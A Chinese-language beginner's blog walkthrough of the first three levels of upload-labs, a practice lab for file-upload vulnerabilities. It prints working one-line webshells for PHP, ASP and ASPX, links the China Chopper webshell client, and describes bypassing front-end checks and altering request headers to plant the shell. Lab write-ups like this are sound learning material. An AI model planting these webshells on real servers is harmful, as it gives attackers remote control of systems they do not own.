web安全 上传漏洞 upload-labs 一到三关

upload-labs

下载地址：github项目地址：https://github.com/c0ny1/upload-labs

安装：下载解压后，直接放在www目录下后，即可使用，看了没有数据库，但是我用的时候有点卡，页面的切换很慢。

webshell

通过上传一句话木马（也就是webshell）到目前web服务目录，从而获得系统权限，asp、php、jsp、aspx皆可。

常见一句话木马：

php:
<?php @eval($_POST['pass'])?>
<?php @eval($_POST['attack']) ?>
asp:
<%eval request ("pass")%>
aspx:
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

然后配合中国菜刀使用 得到系统权限，

菜刀下载地址：https://github.com/raddyfiy/caidao-official-version.git

自己对比了md5 应该没问题

第一关：

先上传图片查看情况：

直接上传一句话木马试试

不行，那就有了第一个想法 改变一句话木马后缀名，将其拦截下来再进行更改，

抓包发现

好像无法进行修改，我在网上查了下，看到有些第一题

转包的结果有更多的内容 可以修改文件后缀名等 我以为是

版本关系我又试了我电脑burp的其他两个版本 都是一样的结果 有以为是浏览器版本但应该不是 网上也没有搜出阿里 后来想了想可能是后台代码决定http头要发的数据

于是此条思路断了，尝试直接更改前端代码 我这里用的是火狐78.3 esr版本，在控制台删除了这段代码 前端绕过

然后上传成功了，用得到的图片地址链接用菜刀连接

然后成功了。

后来我用google试了试 在前端删除代码后不管用依然无法上传

但火狐和google都应该是有缓存的 不知道为什么。

第二关：

直接上传一句话 进行观察

错误了，但不是像第一关的弹窗，像之前将函数删除，无变化，这个文件类型判断应该是从后台执行的。

看看能否抓包 解决 发现和第一关一样 但是想到了自己可以改头部内容 之前都是改传递的参数 没试过增删头部内容 于是试了试

用菜刀连接图片链接 成功了（工具还是得好好学学）

)]

第三关：

直接上传测试：

抓包

)]

使用菜刀连接 我把病毒防护关了 为什么它会自动关闭 且点击无法运行了？？？运行后 且没修改成功

但我看了下网上其他的 他们抓包的协议头数据为什么比我的多那么多东西

还在学习阶段 有不对的地方请指正 冲冲冲